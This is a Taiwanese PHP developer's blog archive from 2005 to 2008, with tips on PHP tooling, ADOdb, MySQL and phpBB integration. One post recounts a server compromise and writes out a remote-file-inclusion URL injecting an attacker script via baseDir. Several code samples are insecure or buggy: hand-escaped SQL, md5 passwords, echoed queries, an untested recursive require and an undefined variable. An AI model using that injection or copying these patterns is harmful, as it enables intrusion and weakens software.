PHP_Beautifier 安裝與使用

Posted on 2008-01-30 10:49:45 by

最近都在找一些可以讓程式碼好看,讓文件好作,讓事情變得輕鬆愉快的套件或是模組。

記得前一陣子在 讓程式碼好看些 - PHP_Beautifier 有看到 PHP_Beautifier 所以就拿來玩玩看囉!
發現真是個很有趣很不錯的東西,安裝後可以直接在 shell 中將程式碼統一格式,是非常方便又實用的一個套件。

系統需求?

PHP_Beautifier 需要在 php5 的環境下執行!

但是,可以處理的是 php3, php4, php5 的檔案,基本上他是對排版作調整,並不會去調整語法。

安裝方式?

使用 pear 安裝

先確認 pear 的 channel 都更新了..

pear update-channels

然後直接使用 pear install 安裝,這裡要注意的是 PHP_Beautifier 目前還是 beta 版..

pear install PHP_Beautifier-beta

若是正式版的話只要 pear install PHP_Beautifier 即可.

接下來程式會跑跑跑,自動下載相依的 pear 模組,然後就會安裝完成.(意想不到的簡單吧!)

如何使用?

由於他會自動多一個 php_beautifier 的 shell script 在 /usr/bin 中,所以只要直接執行 php_beautifier 就好囉!

先來看一下他的 help

php_beautifier --help

Usage: php_beautifier [options] <infile> <out>
         <infile> and/or <out> can be '-', which means stdin/stdout.
         you can use ? and * for batch processing
         <out> can be a dir (ending with '/' or a real dir)
               or a file (without '/')
         multiple ins and one out = merge all files in one output
Options:
     --input             or -f <file>    input file  - default: stdin
     --output            or -o <out>     output dir or file - default: stdout
     --indent_tabs       or -t <int>     indent with tabs
     --indent_spaces     or -s <int>     indent with spaces - default
     --filters           or -l <fil_def> Add filter(s)
     --directory_filters or -d <path>    Include dirs for filters
     --compress          or -c <type>    Compress output
     --recursive         or -r           Search in subdir recursively
     --help              or -?           display help/usage (this message)

Filter definition:
     --filters "Filter1(setting1=value1,setting2=value2) Filter2()"
 

執行的時候通常看你自己的習慣是什麼,通常主要是 -t -s 兩個要選一個用,預設使用的是 -s 也就是所有的縮排都是用『空白』,而 -t 則就是縮排用的是『TAB』

另外會用到的通常還有 -r 這個遞迴參數,這樣才能同時連子目錄下面的一起處理。

你可以這樣試試

php_beautifier -t -r mylibs/* new_mylibs/

這樣就會把 mylibs 底下所有的檔案進行一次 php_beautifier 並且輸出到 new_mylibs 下。

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

Aptana 1.1

Posted on 2008-01-28 11:12:42 by

這兩天要把 Aptana 裝起來用看看。

認識我的朋友都知道,我一直以來都是用 ZDE 這套官方開發的 PHP ide 開發工具在開發,當然不外乎是因為他功能上可以少去我很多開發查找資料的時間,還有減少程式撰寫的錯誤等等。

不過新版的 Zend Studio for Eclipse 用起來總是有一點點覺得不順手,沒有原來的 ZDE 5.5 好用,但是用了一陣子 ZSE 後,也覺得 Eclipse 功能上的確是有他強的地方,所以就來找找可以跟 ZSE 一較高下的其他 IDE ...

目前使用的是 Aptana 1.1 的版本,也是同時提供 Windows , Linux 多平台的環境可選擇。

其中比較好的的方式,他都提供 Zip 免安裝壓縮檔,基本上只要下載,解開,執行,就可以立刻使用,不管是 Linux 上還是 Windows 都一樣,著實方便很多!
尤其是 ZDE 5.5 在最近新版的 Linux 桌面環境下,安裝過程中總是會有需要自己 patch 的地方,不然不能安裝,實在是令人有點頭大,相比之下真的是方便許多。

接下來就是不斷的測試跟練習,看看 Aptana 有沒有辦法讓我更滿意囉...

 

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

Sun 砸大錢買 MySQL

Posted on 2008-01-17 10:51:41 by

來自 Sun 的消息

http://www.sun.com/aboutsun/media/presskits/2008-0116/index.jsp?intcmp=hp2008jan16_mysql_learn

來自 MySQL 的消息

http://www.mysql.com/news-and-events/sun-to-acquire-mysql.html

說真的,不知道這是好是壞勒。

不過至少這個 MySQL 又增加了強力的後台了,對於大型環境的支援應該會增加了不少的助益吧!

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

Zend Studio Neon Beta 的小問題...

Posted on 2007-12-05 10:17:45 by

目前遇到比較大的問題是在於當程式中有中文的時候,Format 的功能就會爛掉。

另外就是偶爾會遇到 Workspace , Project Rebuild 的卡住的問題,這個比較好解決,只要把 Neon 所開啟的檔案統統關掉,然後砍掉執行中的 Neon 重開然後等他重新 Build 完就好了~...

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

安裝與使用PhpDocumentor

Posted on 2007-11-06 10:55:34 by

寫文件是一個程式設計師最最痛苦的事情之一,尤其是寫了一堆程式後有人要你把 Function ,Class 等等等等,寫成一份文件。

這事情不管你是寫 c/c++ , perl , ruby , php 都不例外。

phpDocumentor 是我們的救星! 只要在寫程式的時候,乖乖的寫一點註解,寫一點範例,多一點說明,注意一下格式,等到程式完工後,只要一個指令,就可以立刻把全部程式的說明文件產生出來,而且還有多種樣式可以選擇,甚至可以作成  PDF , CHM 喔...

好了,屁話不多說,先來說說怎麼裝上這好用的東西吧...

phpDocumentor 本身已經是 pear 的成員之一,所以安裝的時候只要用 pear 來安裝即可(以下範例為在 Windows 下進行,以後再補上 LInux 下的)

--如果你已經有裝 php 跟 pear 請跳過--

首先假設我把我的的 php 安裝路徑在 d:\php\

也就是說我從 www.php.net 下載了最新的 php win32 安裝檔案,解開後放在 d:\php\

那麼這個目錄下面應該有 d:\php\PEAR這個目錄,但是當你進去看的時候,你會發現好像沒有 PEAR 相關程式庫阿...

沒錯,這個時候你還沒有安裝 PEAR 請先用 go-pear.php 安裝基本 pear 環境。

那麼在 d:\php 目錄下有一個檔案,叫做 go-pear.bat 請開一個 cmd 視窗去執行他,中間會有一些問題,基本上都照預設值去跑就可以了...

跑玩後,你的 pear 應該會被安裝在 d:\php\PEAR\pear 下面,而幫助你安裝其他 pear 套件的 pear.bat 則在 d:\php\PEAR下面

--安使安裝 phpDocumentor --

安裝 phpDocumentor 的過程也很簡單,只要利用 pear.bat 即可!

使用指令如下

d:\php\PEAR\pear.bat install -o PhpDocumentor

當中有多下一個 -o 的參數,意思是要 pear 把相依的套件也一起下載安裝。

安裝完成後 d:\php\PEAR 下面應該會多一個 phpdoc.bat 的批次檔,我們就可以用這個批次檔來產生我們的文件。

-- 使用 phpdoc.bat 產生文件 --

產生文件的方式我通常只有用下面一行指令解決:

d:\php\PEAR\phpdoc.bat -o HTML:Smarty:PHP -d d:\myProject\php_source\ -t d:\myProject\docs

這樣子的意思是說,採用 HTML:Smarty:PHP 的樣板格式,然後原始碼目錄在 d:\myProject\php_source\ ,接著把產生的文件放在 d:\myProject\docs 底下。

當中若是你只要對一個檔案作文件的話,可以把 -d 改成 -f 然後後面接的著就是指定的檔名。

樣板的格式基本上有 HTML, XML, PDF, CHM 四大類別,通常我用的都是 HTML:Smarty:PHP 這個,因為他比較好看!

另外還有就是 CHM:default:default 這個.用來產生 chm 的,不過他產生出來的是 .hhp 檔案,也就是還沒有經過 HTML helper 編譯過的檔案,所以要另外安裝 HTML Helper 來編譯 hhp 檔案就可以產生你要的檔案。

-- 最後來說一下怎麼寫註解 --

phpDocumentor 的註解有一定的規格,但是都跟我們原來寫註解的方式很像,只是要注意一下東西而已。

簡單的來看個範例好了

<?php
/**
 * 這裡是這個物件的說明
 * 可以多行喔!~
 *
 */
class MyClass {
    /**
     * 這裡是變數的說明
     *
     * @var int
     */
    var $a ;
    /**
     * 這裡是變數的說明.
     *
     * @var string 這裡也可以放說明
     */
    var $b ;
    
    /**
     * 這是針對函式的說明
     * 也是一樣可以多行
     * 若是簡單的範例也可以放這裡
     *
     * @param int $a 可以放入傳入的型態
     * @return array 可以說明回傳的型態
     */
    function first ( $a ) {
        return array();
    }
}
?>

基本上都是在

/*
*
*/

中間寫註解,別忘了每行前面要有個 * 喔!

註解比較常用到參數的應該是
@author 程式作者名稱,聯絡方式
@const 常數
@deprecate 不建議使用的 API
@global 全域變數
@param 函數的參數
@return 回傳值
@see 可參考函數
@since 開始時間
@static 靜態變數
@var 物件成員變數
@todo 計畫中要進行的項目
 

更多更詳細的資料請到 http://www.phpdoc.org/ 看囉!~

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

一份介紹 CakePHP 1.2 的 PDF

Posted on 2007-10-07 23:29:00 by

內容很多,幾乎把 CakePHP 1.2 上很多重要的新東西都講到的,看完了很心動很想馬上來試試看阿!
http://www.cakephp.org/files/OCPHP.pdf

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

del.icio.us 改用 Symfony 架構整個網站

Posted on 2007-10-04 21:45:28 by

網站製作學習誌 看到的消息...

國外知名的書籤網站 http://del.icio.us/ 已經在十月初期重新建構了網站程式,採用的是 Symfony 這套 PHP Framework ..

相關文章請看..
http://blog.phpdeveloper.co.nz/2007/10/03/delicious-switches-to-symfony/
http://www.symfony-project.com/blog/2007/10/02/delicious-preview-built-with-symfony

看樣子最近已經有越來越多網站開始重視使用的 PHP Framework 囉!...
目前比較有名一點的,我想大概就是 SymfonyCakePHP Zend Framework 這三套吧!~
對 PHP 有研究的朋友,別忘了試試看唷!

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

現在就改好,不要等到 PHP6 ...

Posted on 2007-09-25 12:46:22 by

Gea-Suan Lin’s BLOG 看到這篇 現在寫 PHP6-compatible 的一些技巧

這真是太重要了!

雖然 PHP4 才剛被說將要消失了,PHP5正在邁開大步中。

但是現在就開始把一些習慣跟設定改掉,將來一切都會平平順順的更換到 PHP6 的...

其中最重要的我想就是前兩個:

  • 不要再依賴 register_globals:register_globals 將 $_GET、$_POST、$_COOKIE 這三個的變數內容直接對應到全域變數。這在目前的 PHP4 與 PHP5 預設都是關閉的,但還是有文件書籍會「建議」你打開。在 PHP6 中,這個功能將直接消失。不過,還是可以透過 達到一樣的效果。
  • 不要使用 magic_quotes:這個功能在目前的 PHP4 與 PHP5 預設是開啟的,但在 PHP6 將會消失 (而非改為關閉),所以,在開發軟體時最好以 magic_quotes 關閉的情況下開發。

 請把你的 php.ini 打開,修改 register_globals 跟magic_quotes_gpc 都設定為 Off 就可以了。

 

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

Adodb 的 AutoExecute

Posted on 2007-09-05 15:40:30 by

很久沒有寫關於 adodb 相關的文章了,前一陣子(好久以前)翻閱文件的時候,注意到新增了一個 AutoExecute 的 Method ,看名字就覺得很有趣,所以當然就玩了一下。

一玩不得了,這東西太好用了,所以一直想說要介紹給朋友用,但是一直忘記要寫文章,雖然過了很久,但是還是來補一下好了。

還沒有用 GetInsertSQL 跟 GetUpdateSQL 以前,通常都需要自己撰寫相關的 SQL 去操作資料庫,不免會遇到打錯 SQL 或是程式碼中一堆 SQL 語法的問題。

之後我用 adodb 的時候,通常都會跟官方文件上得範例差不多,都是用 GetInsertSQL 或是 GetUpdateSQL 癌產生 SQL ,然後才用 Execute 去執行該 SQL ,而GetUpdateSQL 之前還要 Select 一下資料庫,取出一份該筆資料得欄位跟資料內容,所以整段程式變成有點累贅,因為一些不必要的重複的 Code 不斷出現。

類似這樣:

$rs = $db->Execute("Select * from mytable where id = '{$id}'");
$updateArray['name'] = 'newName';
$UpdateSQL = $db->GetUpdateSQL($rs,$updateArray);
$db->Execute($sql);

而比較新的版本的 adodb 則新增了 AutoExecute ,則可以大幅度減少這些無謂的程式碼.

AutoExecute($table, $arrFields, $mode, $where=false, $forceUpdate=true,$magicq=false)

參數說明:

  • $table 要處理的表格名稱
  • $arrFields 要更新或新增的欄位內容
  • $mode 模式選擇,內容需為 INSERT 或是 UPDATE 
  • $where 當模式為 UPDATE 的時候,需要輸入更新條件
  • $forceUpdate 一般來說預設 UPDATE 的時後,會先從資料庫取出該筆資料,然後若是欄位內容沒有修改,則不會進行UPDATE,只會更新有更新的欄位,若是姜此參數設定,則會強迫一律更新。
  • $magicq 系統環境是否有把 magice_quotes 打開,預設是沒有,所以會替你將傳入的資料作 qstr

範例:

$record["firstName"] = "Carol";
$record["lasTname"] = "Smith";
$conn->AutoExecute($table,$record,'INSERT');
# executes "INSERT INTO $table (firstName,lasTname) values ('Carol',Smith')";

$record["firstName"] = "Carol";
$record["lasTname"] = "Jones";
$conn->AutoExecute($table,$record,'UPDATE', "lastname like 'Sm%'");
# executes "UPDATE $table SET firstName='Carol',lasTname='Jones' WHERE lastname like 'Sm%'";
從上面的範例可以發現,比起之前用 GetUpdateSQL 與 GetInsertSQL 更為簡潔,且更為方便了!
官方文件
http://phplens.com/adodb/reference.functions.getupdatesql.html#autoexecute 

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

超快速的實現 session on memcache

Posted on 2007-08-22 21:18:56 by

看文件總是會有新發現...
如果你用的 php, php-memcache 版本夠新...
可以很輕易的將 Session 用 memcached 保存了...

 
session.save_path string

Defines a comma separated of server urls to use for session storage, for example "tcp://host1:11211, tcp://host2:11211".

Each url may contain parameters which are applied to that server, they are the same as for the Memcache::addServer() method. For example "tcp://host1:11211?persistent=1&weight=1&timeout=1&retry_interval=15"


代碼:
<?php
$session_save_path = "tcp://$host:$port?persistent=1&weight=2&timeout=2&retry_interval=10,  ,tcp://$host:$port  ";
ini_set('session.save_handler', 'memcache');
ini_set('session.save_path', $session_save_path);
?>


http://tw.php.net/memcache

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

PHP4 要掰掰囉!~

Posted on 2007-07-14 11:18:10 by

 拖了這麼久,PHP5 都已經改到 5.2.3 了,終於官方網站宣佈 PHP4 即將終止更新與維護,我相信這是官方網站的正確選擇。

有要需要更新自己程式的朋友們,別忘了要看看  Migration Guide 喔...

PHP 4 end of life announcement

[13-Jul-2007]

Today it is exactly three years ago since PHP 5 has been released. In those three years it has seen many improvements over PHP 4. PHP 5 is fast, stable & production-ready and as PHP 6 is on the way, PHP 4 will be discontinued.

The PHP development team hereby announces that support for PHP 4 will continue until the end of this year only. After 2007-12-31 there will be no more releases of PHP 4.4. We will continue to make critical security fixes available on a case-by-case basis until 2008-08-08. Please use the rest of this year to make your application suitable to run on PHP 5.

For documentation on migration for PHP 4 to PHP 5, we would like to point you to our migration guide. There is additional information available in the PHP 5.0 to PHP 5.1 and PHP 5.1 to PHP 5.2 migration guides as well.

 

 

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

MySQL 4.1 以前的維護終止!

Posted on 2007-02-12 14:13:04 by

所有在使用 MySQL 4.0 甚至是 MySQL 3.23 的朋友們請注意唷!~...

MySQL 4.1 以前的官方維護已經終止了!~

強烈建議大家要升級到使用 MySQL 5 喔!~

官方說明

End of Product Lifecycle. Active development and support for MySQL database server versions 3.23, 4.0, and 4.1 have ended. For MySQL 4.0 and 4.1, there is still extended support available, though. For details, see http://www.mysql.com/company/legal/lifecycle/#calendar.According to the MySQL Lifecycle Policy (see http://www.mysql.com/company/legal/lifecycle/#policy), only Security Level 1 issues will still be fixed for those versions. Please consider upgrading to a recent version (MySQL 5.0 or 5.1).

 

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

admin route 強迫使用 https 連線

Posted on 2007-02-02 11:15:51 by

目前大部分的電子商務網站,大部分後台都是直接就在線上的某個路徑下,或是某個 subdomain 下 ....

而客戶對於安全的需求,有時後會要求全部後台使用 SSL 進行連線。

所以就誕生了下面我用的這段 Code ..
In bootstrap.php
代碼:
if(substr($_GET["url"],0,6) == CAKE_ADMIN.'/' and empty($_SERVER['HTTPS']) ){
   header('Location: https://'.$_SERVER["HTTP_HOST"].'/'.CAKE_ADMIN.'/');
}

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

美女加上撒嬌,果然是男性殺手!

Posted on 2006-09-13 12:24:20 by

美女要是還撒嬌的話 ,大概沒幾個男生能受得了吧....

http://blog.yam.com/h9856/archives/2132781.html

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

require_recursion

Posted on 2006-09-13 11:51:53 by

在TWPUG中有朋友問可以不可以require 一整個目錄。

但是PHP的 require 本身沒有這個功能,所以只好自己寫一個...

還沒有試過,但是應該是可以run的啦~

<?php

/**
* Recursion require file.
* If $target is directory then include all file in the directory.
*
* @param string $target
*/
function require_recursion($target){
    if(is_dir($target)){
        $d = dir($target);
        while (false !== ($entry = $d->read())) {
            if ($entry != '.' and $entry != '..') {
                if (is_dir($entry)) {
                    require_recursion($entry);
                }else{
                    require($entry);
                }
            }
        }
    }
}

?> 

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

週日又有研討會囉∼

Posted on 2006-08-21 15:39:33 by

輪來輪去,總有一天會輪到我,本週日在台北的台灣科技大學有研討會∼

小弟要講的題目是: 如何成為一個優秀的PHP網站程式設計師

詳情請洽:http://phorum.study-area.org/viewtopic.php?t=41216

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

MySQL 4.1 以後的字串處理~

Posted on 2006-07-15 10:53:30 by

MySQL 4.1 以後每個欄位若是 varchar or char 一樣還是只能存 255 個字,但是這跟 MySQL 4.0 的 255 意義可是大大的不同!

請看一下這篇:http://phorum.study-area.org/viewtopic.php?p=202666#202666

重點在於,MySQL 4.1 以上,varchar跟 char 判斷的這個欄位可以放多少個字,而不是多少個字元(byte)。

所以就算是中文字(欄位使用 UTF8 儲存),一樣可以塞 255 個中文字進去,而不再是之前的 255 / 3 or big5 的 255 / 2 囉!

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

好用的 FeedCreator

Posted on 2006-05-25 11:10:32 by

不管寫Blog,寫留言版,寫討論區,最近都會有人問,這個可以不可以有 RSS 功能。

要作RSS不難,只是要搞懂那個XML規格而已,然後把你的留言版或是討論區的文章輸出成 RSS 就可以了。


FeedCreator 是一個非常方便的 Feed 產生器,可以產生RSS 0.91 , 1.0, 2.0 , ATOM 0.3 的 RSS,且使用上非常的簡單。

FeedCreator.class.php

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

[轉貼轉貼] A MySQL 4.1 Story

Posted on 2006-04-22 01:13:15 by

剛剛在 網站製作學習誌

看到這篇 [轉載] A MySQL 4.1 Story

A MySQL 4.1 Story 裡面詳細說明了 MySQL 4.1 的故事,跟適當的 Patch 方法,對 MySQL 4.1 有問題或是興趣的人可以看看唷!

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

phpbb2 會員功能修改~

Posted on 2006-04-10 12:31:57 by

因為一個專案需要一個討論區,但是又沒有要另外製作太特殊的功能,所以就要直接拿 phpbb2 來用。

但是基本上不會用原來 phpbb2 的會員註冊功能,因為原來的網站有自己的會員系統,所以目前最麻煩的事就是要整合兩個系統的會員資料。

目前想到最簡單得作法是,當原來的會員系統會員註冊的時候,同步寫入一筆新會員資料到 phpbb2 ,同時關閉掉 phpbb2 的會員註冊功能,這樣應該可以達到一個簡單的 Single Sign On 的功能。

[@more@]

於是寫了一個簡單的函式,處理討論區新增會員的功能。



/**
* 新增 phpbb2 使用者
*
* @param string $username
* @param string $password
* @param string $email
*/
function add_phpbb2_user($username,$password,$email){
// 建立 phpbb2 資料庫連線物件
define('IN_PHPBB', true);
$phpbb_root_path = './forum/';
include_once($phpbb_root_path."config.php");
include_once($phpbb_root_path."extension.inc");
include_once($phpbb_root_path."includes/constants.php");
include_once($phpbb_root_path."includes/db.php");

// auth OK
$sql = "SELECT user_id, username, user_password, user_active, user_level FROM " . USERS_TABLE .
" WHERE username = '" . str_replace("'", "''", $username) . "'";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Error in obtaining userdata', '', __LINE__, __FILE__, $sql);
}
if( !($row = $db->sql_fetchrow($result)) ) {
// no data found, first login
$sql = "SELECT MAX(user_id) AS total FROM " . USERS_TABLE;
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not obtain next user_id information', '', __LINE__, __FILE__, $sql);
}

if ( !($row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_ERROR, 'Could not obtain next user_id information', '', __LINE__, __FILE_, $sql);
}
$user_id = $row['total'] + 1;

$sql = "INSERT INTO " . USERS_TABLE . " (" .
"user_id," .
"username," .
"user_regdate," .
"user_password," .
"user_email," .
"user_icq," .
"user_website," .
"user_occ," .
"user_from," .
"user_interests," .
"user_sig," .
"user_sig_bbcode_uid," .
"user_avatar," .
"user_avatar_type," .
"user_viewemail," .
"user_aim," .
"user_yim," .
"user_msnm," .
"user_attachsig," .
"user_allowsmile," .
"user_allowhtml," .
"user_allowbbcode," .
"user_allow_viewonline," .
"user_notify," .
"user_notify_pm," .
"user_popup_pm," .
"user_timezone," .
"user_dateformat," .
"user_lang," .
"user_style," .
"user_level," .
"user_allow_pm," .
"user_active," .
"user_actkey" .
") VALUES (" .
"$user_id," .
"'" . str_replace("'", "''", $username) . "'," .
time() . "," .
"'" . str_replace("'", "''", md5($password)) . "'," .
"'" . str_replace("'", "''", $email) . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"''," .
"''," .
"0," .
"0," .
"'" . str_replace("'", "''", str_replace(' ', '+', "")) . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"1," .
"1," .
"1," .
"1," .
"1," .
"0," .
"0," .
"1," .
"8.00," .
"'" . str_replace("'", "''", "D M d, Y g:i a") . "'," .
"'" . str_replace("'", "''", "chinese_traditional_taiwan") . "'," .
"1," .
"0," .
"1," .
"1," .
"''" .
")";
echo $sql;
if ( !($result = $db->sql_query($sql, BEGIN_TRANSACTION)) )
{
message_die(GENERAL_ERROR, 'Could not insert data into users table', '', __LINE__, __FILE__, $sql);
}

$sql = "INSERT INTO " . GROUPS_TABLE . " (group_name, group_description, group_single_user, group_moderator)" .
" VALUES ('', 'Personal User', 1, 0)";

echo $sql;
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not insert data into groups table', '', __LINE__, __FILE__, $sql);
}

$group_id = $db->sql_nextid();

$sql = "INSERT INTO " . USER_GROUP_TABLE . " (user_id, group_id, user_pending)" .
" VALUES ($user_id, $group_id, 0)";

echo $sql;
if( !($result = $db->sql_query($sql, END_TRANSACTION)) )
{
message_die(GENERAL_ERROR, 'Could not insert data into user_group table', '', __LINE__, __FILE__, $sql);
}
}
}

另外修改討論區中的 includes/usercp_register.php,將 $mode=register 的情況都轉回原來的會員註冊系統。

參考資料:OpenLDAP 整合方案

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

Zend Framework

Posted on 2006-03-09 11:36:40 by

PHP 程式引擎核心的 Zend 公司推出了 Zend Framework .

相關文件可以在網站上直接參考。

PHP 目前各類的 Framework 真是百家爭鳴,從CakePHP,phpMvc....一直到現在的 Zend Framework,這麼多種不同理念跟設計下的Framework,相信對於開發者來說是又高興又困擾吧。

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

Register_global 的危險!

Posted on 2006-02-20 10:43:34 by

前兩天由於自己家中的主機怪怪得,所以做了一些檢查,赫然發現一堆不知道從那出來的 Email 再寄送,當下嚇到怕變成 SPAM 的木馬!∼

詳細檢查後發現主要是由 Register_global 開啟加上 require_once 沒有確認路徑變數的關係,導致被 spam 在 /tmp 下塞入了一個 script 自動發信!

該段語法如下 (xxxx.inc.php):

require_once $baseDir."include_once/adodb....";

主要就是在於沒有檢查 $baseDir 的位置與內容,且開啟了 register_global 的關係,所以可以直接採用:

http://xxxx.xxxx.xxxx/include_base/init_database.php?baseDir=http://xxxx.xx.xxx/hackerScript.txt; .....等。

原來 include_base 應該是給 /index.php 來 include 後使用的,而非給 client 存取的,所以讓使用者可以直接存取造成了安全上得隱憂。

另外 $baseDir 又容由另外一個檔案進行設定,所以 init_database.php 並沒有檢查該變數的內容。

基本上這種問題若是有關閉 register_global 就不會發生囉,不過由於原來的系統上有一些程式需求要 register_global = on 才能使用,所以才會這樣設定。

剛剛查過網路上,相類似的情況可以在預設 php.ini 為 register_global = off ,而在 .htaccess 設定 PHPINI 來改變特定目錄下的特性。

anyway,現在把東西重新調整過也把被偷發的垃圾信都刪掉了,希望以後不會再次發生這樣的問題了。

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

LifeType ADODB 更新檔~

Posted on 2006-01-19 11:36:25 by

由於 ADODB 有漏洞的關係,所以很多使用 ADODB 的程式需要進行更新。

大部分只要更新完就好了,但是 Lifetype 由於有Patch過其中一部分的程式碼,所以需要手動更新其中一部分。

我這有一份已經 Patch 好的。

若有需要的朋友歡迎下載∼

adodb-LTFix.tar.gz

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

ZCE 1000 人次將要達成!

Posted on 2006-01-10 16:45:12 by

很可能在這個月,ZCE將要達到1000人次認證,也就是說,全球將達到有 1000 名 Zend Certified Engineer。

Zend 為了慶祝這個階段達成,特別為前1000名製作了新的ZCE logo。

小弟幸運的也在這1000人之列,所以收到了這個Logo...

ZCE 1000~

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

LifeType 1.0.2

Posted on 2005-12-30 12:09:31 by

網站系統更新了∼∼[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

2005群英會簡報~

Posted on 2005-12-18 11:54:11 by

題目是:Open Source平台最熱門的網頁程式語言-PHP

簡報檔案

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

好書推薦!~「 PHP Smarty 樣版引擎」!

Posted on 2005-10-29 00:18:21 by

當初我就是看他寫的 smarty 入門的文章入門!

推薦 PHP程式設計師 閱讀...讓你從此擺脫程式碼與HTML糾纏不清的噩夢!~

也推薦網頁設計師閱讀,如此你更能知道該如何跟PHP網頁程式設計師搭配合作出美麗又功能豐富的樣版!!!

「 PHP Smarty 樣版引擎」

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

開啟MySQL的Query_Cache

Posted on 2005-10-01 17:12:32 by

這功能一定要 MySQL 4 以上才有支援...

我發現很多人不知道也不會開啟該設定..
就算預設是Open得.但是預設上沒有配置QueryCacheMemory 所以等於沒開一樣...

各位可以看一下 show status; 後得資料...
其中.
代碼:

Qcache_queries_in_cache 0
Qcache_inserts 0
Qcache_hits 0
Qcache_lowmem_prunes 0
Qcache_not_cached 0
Qcache_free_memory 0
Qcache_free_blocks 0
Qcache_total_blocks 0

應該是各位沒有開啟得時候現在得狀態...

在 /etc/my.cnf 中得 [mysqld]區段加入下面這樣得設定..
代碼:
query_cache_size = 2M

實際配置記憶體量請自己衡量...
可參考 /usr/share/mysql/my-large.cnf 中得建議設定.

然後重新啟動mysql...
看看 show status;
代碼:

Qcache free blocks 1
Qcache free memory 616568
Qcache hits 289
Qcache inserts 146
Qcache lowmem prunes 0
Qcache not cached 74
Qcache queries in cache 146
Qcache total blocks 315


你就會看到 cache 已經打開,且配置完成記憶體,然後 hits 則是目前從cache回傳資料次數, queries in cache 則表示有多少資料目前在 cache中.

願各位得 mysql 都勇猛如虎~
[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

SA@台中 PHP程式設計經驗分享 簡報上線~

Posted on 2005-09-21 13:54:13 by

終於昨天晚上先把簡報的基礎寫完了....

先上線,這兩天看情況在補充資料進去...

當然拉..補充的資料就當天才會聽到囉...^_^..

最新的簡報已經更新囉~

20040924_PHP程式設計經驗分享簡報.pdf

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

PHP面試考題...

Posted on 2005-07-22 17:00:15 by

答應朋友明天前要幫他寫好一組面試用的考題...
要有 25題 php 加上 25題 MySQL, 最好還要有實作題目..
晚點來寫好了..寫好在貼上來..

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

tar 解壓縮特定資料.

Posted on 2005-07-12 01:51:04 by

相信每個用 Linux 沒有人不會用 tar 去壓縮資料的...

但是有多少人知道自己要的資料在 tar 中要怎麼解出來?...

為了這個問題我今天找了半天..發覺沒有..Q_Q..

主機上的檔案又不可能讓我裝的視窗介面的 File Roller 來解壓縮....

所以只好自己搭配著 t 這個參數去測試了....

找了半天終於找到方法...

tar zxvf '你要解開的檔案' '要解開的檔案或目錄名稱' '要解開的檔案或目錄名稱'

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

SA.PHP觀念教室 首部曲:了解$_POST,$_GET

Posted on 2005-06-20 05:23:46 by

不知道為什麼半夜四點忽然醒來睡不著....就來寫寫文件好了....

SA.PHP觀念教室 首部曲:了解$_POST,$_GET

前言: 各位親愛的SA學員們好,本觀念教室不會教你寫php程式,所以要是你抱著在這就會學到寫程式的,恭喜你來錯地方了.
這個叫做觀念教室.只教程式語言的觀念,不教程式撰寫方法.

預期本堂的學員程度:
    1.剛開始學習PHP程式語言的朋友
    2.知道 $_POST,$_GET 卻不了解為什麼要這樣用的朋友
    3.每次都是要把 global register 打開才會寫php的朋友
    4.正在寫php卻完全不知道啥是 $_POST $_GET 的朋友
[@more@]緣起: 說到 php 的$_POST跟$_GET這兩個變數,得從PHP4.1開始帶來的變化說起.

想當初php開始發展的時候,開發人員為了方便操作各種變數與網頁傳進來的值,所以就採用了將所有的不管是client傳進來的變數值,跟Server 端自動產生的變數值,都自動以 $變數名稱 存在於整個php程式中.
所以當你在當時(php4.1 以前,也就是 php3 ~ php4.0 的時代),會很習慣使用各種 $變數名稱,或是從使用者送出的表單之中的輸入欄位名稱為變數 $欄位名稱.

問題:但是這種情況,在php發展到了一定的規模後,遇到了一個問題.

這個問題主要在於安全上的隱憂!
客戶瀏覽器傳入的值,與系統自動產生的變數,或是系統內部變數,甚至是程式當中的原有變數產生衝突怎麼辦??...
要是程式當中有個 $subtotal 是存放購物金額的. 但是傳入的表單欄位中不知道為什麼不小心多打了個 subtotal 呢?... 程式會以哪個為準?...
要是cookie之中的變數名稱與我要用的程式變數名稱重複了?.....

